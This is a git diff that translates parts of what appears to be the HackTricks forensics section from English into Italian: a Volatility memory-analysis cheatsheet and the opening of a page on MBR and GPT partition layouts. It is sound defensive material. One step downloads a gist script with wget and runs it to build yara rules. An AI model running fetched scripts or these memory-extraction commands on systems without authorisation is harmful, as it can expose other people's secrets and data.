-f file.dmp #Display process command-line arguments volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION ``` - {{#endtab}} {{#endtabs}} -Commands executed in `cmd.exe` are managed by **`conhost.exe`** (or `csrss.exe` on systems before Windows 7). This means that if **`cmd.exe`** is terminated by an attacker before a memory dump is obtained, it's still possible to recover the session's command history from the memory of **`conhost.exe`**. To do this, if unusual activity is detected within the console's modules, the memory of the associated **`conhost.exe`** process should be dumped. Then, by searching for **strings** within this dump, command lines used in the session can potentially be extracted. +I comandi eseguiti in `cmd.exe` sono gestiti da **`conhost.exe`** (o `csrss.exe` sui sistemi precedenti a Windows 7). Ciò significa che se **`cmd.exe`** viene terminato da un attaccante prima che venga ottenuto un dump della memoria, è ancora possibile recuperare la cronologia dei comandi della sessione dalla memoria di **`conhost.exe`**. Per fare ciò, se viene rilevata un'attività insolita all'interno dei moduli della console, la memoria del processo associato **`conhost.exe`** dovrebbe essere dumpata. Quindi, cercando **stringhe** all'interno di questo dump, le righe di comando utilizzate nella sessione possono potenzialmente essere estratte. -### Environment +### Ambiente -Get the env variables of each running process. There could be some interesting values. +Ottieni le variabili di ambiente di ciascun processo in esecuzione. Potrebbero esserci alcuni valori interessanti. {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated ``` - {{#endtab}} {{#endtabs}} -### Token privileges +### Privilegi dei token -Check for privileges tokens in unexpected services.\ -It could be interesting to list the processes using some privileged token. +Controlla i token di privilegi in servizi inaspettati.\ +Potrebbe essere interessante elencare i processi che utilizzano alcuni token privilegiati. {{#tabs}} {{#tab name="vol3"}} - ```bash #Get enabled privileges of some processes python3 vol.py -f file.dmp windows.privileges.Privs [--pid ] #Get all processes with interesting privileges python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get enabled privileges of some processes volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled #Get all processes with interesting privileges volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#endtabs}} ### SIDs -Check each SSID owned by a process.\ -It could be interesting to list the processes using a privileges SID (and the processes using some service SID). +Controlla ogni SSID posseduto da un processo.\ +Potrebbe essere interessante elencare i processi che utilizzano un SID di privilegi (e i processi che utilizzano un SID di servizio). {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service ``` - {{#endtab}} {{#endtabs}} -### Handles +### Handle -Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) +Utile sapere a quali altri file, chiavi, thread, processi... un **processo ha un handle** (ha aperto) {{#tabs}} {{#tab name="vol3"}} - ```bash vol.py -f file.dmp windows.handles.Handles [--pid ] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ``` - {{#endtab}} {{#endtabs}} @@ -378,40 +310,33 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc ``` - {{#endtab}} {{#endtabs}} -### Strings per processes +### String per processi -Volatility allows us to check which process a string belongs to. +Volatility ci consente di controllare a quale processo appartiene una stringa. {{#tabs}} {{#tab name="vol3"}} - ```bash strings file.dmp > /tmp/strings.txt ./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash strings file.dmp > /tmp/strings.txt volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt @@ -419,99 +344,78 @@ volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.t volatility -f /tmp/file.dmp --profile=Win81U1x64 memdump -p 3532 --dump-dir . strings 3532.dmp > strings_file ``` - {{#endtab}} {{#endtabs}} -It also allows to search for strings inside a process using the yarascan module: +Consente anche di cercare stringhe all'interno di un processo utilizzando il modulo yarascan: {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784 ./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784 ``` - {{#endtab}} {{#endtabs}} ### UserAssist -**Windows** keeps track of programs you run using a feature in the registry called **UserAssist keys**. These keys record how many times each program is executed and when it was last run. +**Windows** tiene traccia dei programmi che esegui utilizzando una funzionalità nel registro chiamata **UserAssist keys**. Queste chiavi registrano quante volte ogni programma è stato eseguito e quando è stato eseguito l'ultima volta. {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.userassist.UserAssist ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ``` - {{#endtab}} {{#endtabs}} ​ -
-​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Services +## Servizi {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.svcscan.SvcScan #List services ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get services and binary path volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp #Get name of the services and SID (slow) volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Network +## Rete {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.netscan.NetScan #For network info of linux use volatility2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 netscan -f file.dmp volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only @@ -526,102 +430,84 @@ volatility --profile=SomeLinux -f file.dmp linux_arp #ARP table volatility --profile=SomeLinux -f file.dmp linux_list_raw #Processes using promiscuous raw sockets (comm between processes) volatility --profile=SomeLinux -f file.dmp linux_route_cache ``` - {{#endtab}} {{#endtabs}} -## Registry hive +## Registro hives -### Print available hives +### Stampa hives disponibili {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.hivelist.HiveList #List roots ./vol.py -f file.dmp windows.registry.printkey.PrintKey #List roots and get initial subkeys ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys ``` - {{#endtab}} {{#endtabs}} -### Get a value +### Ottieni un valore {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp # Get Run binaries registry value volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run' ``` - {{#endtab}} {{#endtabs}} ### Dump - ```bash #Dump a hive volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist #Dump all hives volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` - ## Filesystem ### Mount {{#tabs}} {{#tab name="vol3"}} - ```bash #See vol2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=SomeLinux -f file.dmp linux_mount volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible) ``` - {{#endtab}} {{#endtabs}} -### Scan/dump +### Scans/dump {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files @@ -631,60 +517,44 @@ volatility --profile=SomeLinux -f file.dmp linux_enumerate_files volatility --profile=SomeLinux -f file.dmp linux_find_file -F /path/to/file volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /path/to/dump/file ``` - {{#endtab}} {{#endtabs}} ### Master File Table - -{{#tabs}} -{{#tab name="vol3"}} - ```bash # I couldn't find any plugin to extract this information in volatility3 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp ``` - {{#endtab}} {{#endtabs}} -The **NTFS file system** uses a critical component known as the _master file table_ (MFT). This table includes at least one entry for every file on a volume, covering the MFT itself too. Vital details about each file, such as **size, timestamps, permissions, and actual data**, are encapsulated within the MFT entries or in areas external to the MFT but referenced by these entries. More details can be found in the [official documentation](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +Il **file system NTFS** utilizza un componente critico noto come _master file table_ (MFT). Questa tabella include almeno un'entrata per ogni file su un volume, coprendo anche la MFT stessa. Dettagli vitali su ogni file, come **dimensione, timestamp, permessi e dati effettivi**, sono racchiusi all'interno delle entrate MFT o in aree esterne alla MFT ma referenziate da queste entrate. Maggiori dettagli possono essere trovati nella [documentazione ufficiale](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). -### SSL Keys/Certs +### Chiavi/Certificati SSL {{#tabs}} {{#tab name="vol3"}} - ```bash #vol3 allows to search for certificates inside the registry ./vol.py -f file.dmp windows.registry.certificates.Certificates ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #vol2 allos you to search and dump certificates from memory #Interesting options for this modules are: --pid, --name, --ssl volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} ## Malware - -{{#tabs}} -{{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.malfind.Malfind [--dump] #Find hidden and injected code, [dump each suspicious section] #Malfind will search for suspicious structures related to malware @@ -698,11 +568,9 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ./vol.py -f file.dmp linux.check_modules.Check_modules #Compares module list to sysfs info, if available ./vol.py -f file.dmp linux.tty_check.tty_check #Checks tty devices for hooks ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section] volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory @@ -718,18 +586,16 @@ volatility --profile=SomeLinux -f file.dmp linux_check_modules volatility --profile=SomeLinux -f file.dmp linux_check_tty volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers ``` - {{#endtab}} {{#endtabs}} -### Scanning with yara +### Scansione con yara -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. +Usa questo script per scaricare e unire tutte le regole yara per malware da github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Crea la directory _**rules**_ ed eseguila. Questo creerà un file chiamato _**malware_rules.yar**_ che contiene tutte le regole yara per malware. {{#tabs}} {{#tab name="vol3"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -739,193 +605,151 @@ python malware_yara_rules.py #All ./vol.py -f file.dmp yarascan.YaraScan --yara-file /tmp/malware_rules.yar ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq ``` - {{#endtab}} {{#endtabs}} ## MISC -### External plugins +### Plugin esterni -If you want to use external plugins make sure that the folders related to the plugins are the first parameter used. +Se desideri utilizzare plugin esterni assicurati che le cartelle relative ai plugin siano il primo parametro utilizzato. {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py --plugin-dirs "/tmp/plugins/" [...] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash - volatilitye --plugins="/tmp/plugins/" [...] +volatilitye --plugins="/tmp/plugins/" [...] ``` - {{#endtab}} {{#endtabs}} #### Autoruns -Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) - +Scaricalo da [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) ``` - volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns +volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` - ### Mutexes {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant ``` - {{#endtab}} {{#endtabs}} ### Symlinks - -{{#tabs}} -{{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ``` - {{#endtab}} {{#endtabs}} ### Bash -It's possible to **read from memory the bash history.** You could also dump the _.bash_history_ file, but it was disabled you will be glad you can use this volatility module +È possibile **leggere dalla memoria la cronologia di bash.** Potresti anche eseguire il dump del file _.bash_history_, ma è stato disabilitato, sarai felice di poter utilizzare questo modulo di volatilità. {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp linux.bash.Bash ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash ``` - {{#endtab}} {{#endtabs}} -### TimeLine +### Cronologia {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp timeLiner.TimeLiner ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f timeliner ``` - {{#endtab}} {{#endtabs}} -### Drivers +### Driver {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan ``` - {{#endtab}} {{#endtabs}} -### Get clipboard - +### Ottieni appunti ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` - -### Get IE history - +### Ottieni la cronologia di IE ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` - -### Get notepad text - +### Ottieni testo da notepad ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` - ### Screenshot - ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` - ### Master Boot Record (MBR) - ```bash volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` +Il **Master Boot Record (MBR)** gioca un ruolo cruciale nella gestione delle partizioni logiche di un supporto di memorizzazione, che sono strutturate con diversi [file systems](https://en.wikipedia.org/wiki/File_system). Non solo contiene informazioni sul layout delle partizioni, ma include anche codice eseguibile che funge da boot loader. Questo boot loader avvia direttamente il processo di caricamento di secondo livello del sistema operativo (vedi [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) o lavora in armonia con il [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) di ciascuna partizione. Per una conoscenza approfondita, fare riferimento alla [pagina Wikipedia MBR](https://en.wikipedia.org/wiki/Master_boot_record). -The **Master Boot Record (MBR)** plays a crucial role in managing the logical partitions of a storage medium, which are structured with different [file systems](https://en.wikipedia.org/wiki/File_system). It not only holds partition layout information but also contains executable code acting as a boot loader. This boot loader either directly initiates the OS's second-stage loading process (see [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) or works in harmony with the [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) of each partition. For in-depth knowledge, refer to the [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record). - -## References +## Riferimenti - [https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/) - [https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html](https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html) @@ -933,10 +757,4 @@ The **Master Boot Record (MBR)** plays a crucial role in managing the logical pa - [https://www.aldeid.com/wiki/Windows-userassist-keys](https://www.aldeid.com/wiki/Windows-userassist-keys) ​\* [https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table](https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table) - [https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa](https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa) -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 9ac27c92e..3520b8fab 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,147 +1,145 @@ -# Partitions/File Systems/Carving +# Partizioni/File Systems/Carving {{#include ../../../banners/hacktricks-training.md}} -## Partitions +## Partizioni -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +Un hard disk o un **SSD può contenere diverse partizioni** con l'obiettivo di separare fisicamente i dati.\ +L'unità **minima** di un disco è il **settore** (normalmente composto da 512B). Quindi, ogni dimensione di partizione deve essere un multiplo di quella dimensione. ### MBR (master Boot Record) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +È allocato nel **primo settore del disco dopo i 446B del codice di avvio**. Questo settore è essenziale per indicare al PC cosa e da dove una partizione dovrebbe essere montata.\ +Permette fino a **4 partizioni** (al massimo **solo 1** può essere attiva/**avviabile**). Tuttavia, se hai bisogno di più partizioni, puoi utilizzare **partizioni estese**. L'**ultimo byte** di questo primo settore è la firma del boot record **0x55AA**. Solo una partizione può essere contrassegnata come attiva.\ +MBR consente **max 2.2TB**. ![](<../../../images/image (350).png>) ![](<../../../images/image (304).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +Dai **byte 440 ai 443** dell'MBR puoi trovare la **Windows Disk Signature** (se viene utilizzato Windows). La lettera del disco logico dell'hard disk dipende dalla Windows Disk Signature. Cambiare questa firma potrebbe impedire a Windows di avviarsi (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../images/image (310).png>) -**Format** +**Formato** -| Offset | Length | Item | +| Offset | Lunghezza | Voce | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| 0 (0x00) | 446(0x1BE) | Codice di avvio | +| 446 (0x1BE) | 16 (0x10) | Prima Partizione | +| 462 (0x1CE) | 16 (0x10) | Seconda Partizione | +| 478 (0x1DE) | 16 (0x10) | Terza Partizione | +| 494 (0x1EE) | 16 (0x10) | Quarta Partizione | +| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA | -**Partition Record Format** +**Formato del Record di Partizione** -| Offset | Length | Item | -| --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| Offset | Lunghezza | Voce | +| --------- | --------- | ------------------------------------------------------ | +| 0 (0x00) | 1 (0x01) | Flag attivo (0x80 = avviabile) | +| 1 (0x01) | 1 (0x01) | Testa di inizio | +| 2 (0x02) | 1 (0x01) | Settore di inizio (bit 0-5); bit superiori del cilindro (6- 7) | +| 3 (0x03) | 1 (0x01) | Cilindro di inizio 8 bit più bassi | +| 4 (0x04) | 1 (0x01) | Codice tipo partizione (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | Testa di fine | +| 6 (0x06) | 1 (0x01) | Settore di fine (bit 0-5); bit superiori del cilindro (6- 7) | +| 7 (0x07) | 1 (0x01) | Cilindro di fine 8 bit più bassi | +| 8 (0x08) | 4 (0x04) | Settori precedenti la partizione (little endian) | +| 12 (0x0C) | 4 (0x04) | Settori nella partizione | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Per montare un MBR in Linux, devi prima ottenere l'offset di inizio (puoi usare `fdisk` e il comando `p`) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -And then use the following code +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +E poi usa il seguente codice ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` - **LBA (Logical block addressing)** -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +**Logical block addressing** (**LBA**) è uno schema comune utilizzato per **specificare la posizione dei blocchi** di dati memorizzati sui dispositivi di archiviazione del computer, generalmente sistemi di archiviazione secondaria come i dischi rigidi. LBA è uno schema di indirizzamento lineare particolarmente semplice; **i blocchi sono localizzati da un indice intero**, con il primo blocco che è LBA 0, il secondo LBA 1, e così via. ### GPT (GUID Partition Table) -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +La GUID Partition Table, nota come GPT, è preferita per le sue capacità avanzate rispetto a MBR (Master Boot Record). Distintiva per il suo **identificatore univoco globale** per le partizioni, GPT si distingue in diversi modi: -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +- **Posizione e Dimensione**: Sia GPT che MBR iniziano a **settore 0**. Tuttavia, GPT opera su **64 bit**, a differenza dei 32 bit di MBR. +- **Limiti delle Partizioni**: GPT supporta fino a **128 partizioni** sui sistemi Windows e può contenere fino a **9.4ZB** di dati. +- **Nomi delle Partizioni**: Offre la possibilità di nominare le partizioni con fino a 36 caratteri Unicode. -**Data Resilience and Recovery**: +**Resilienza e Recupero dei Dati**: -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +- **Ridondanza**: A differenza di MBR, GPT non limita i dati di partizionamento e avvio a un solo luogo. Replica questi dati su tutto il disco, migliorando l'integrità e la resilienza dei dati. +- **Controllo di Ridondanza Ciclina (CRC)**: GPT utilizza il CRC per garantire l'integrità dei dati. Monitora attivamente la corruzione dei dati e, quando viene rilevata, GPT tenta di recuperare i dati corrotti da un'altra posizione del disco. -**Protective MBR (LBA0)**: +**MBR Protettivo (LBA0)**: -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPT mantiene la compatibilità retroattiva attraverso un MBR protettivo. Questa funzione risiede nello spazio MBR legacy ma è progettata per prevenire che le utilità basate su MBR più vecchie sovrascrivano erroneamente i dischi GPT, proteggendo così l'integrità dei dati sui dischi formattati GPT. ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>) -**Hybrid MBR (LBA 0 + GPT)** +**MBR Ibrido (LBA 0 + GPT)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +Nei sistemi operativi che supportano **l'avvio basato su GPT tramite i servizi BIOS** piuttosto che EFI, il primo settore può anche essere utilizzato per memorizzare la prima fase del codice del **bootloader**, ma **modificato** per riconoscere le **partizioni GPT**. Il bootloader nell'MBR non deve assumere una dimensione del settore di 512 byte. -**Partition table header (LBA 1)** +**Intestazione della tabella delle partizioni (LBA 1)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +L'intestazione della tabella delle partizioni definisce i blocchi utilizzabili sul disco. Definisce anche il numero e la dimensione delle voci di partizione che compongono la tabella delle partizioni 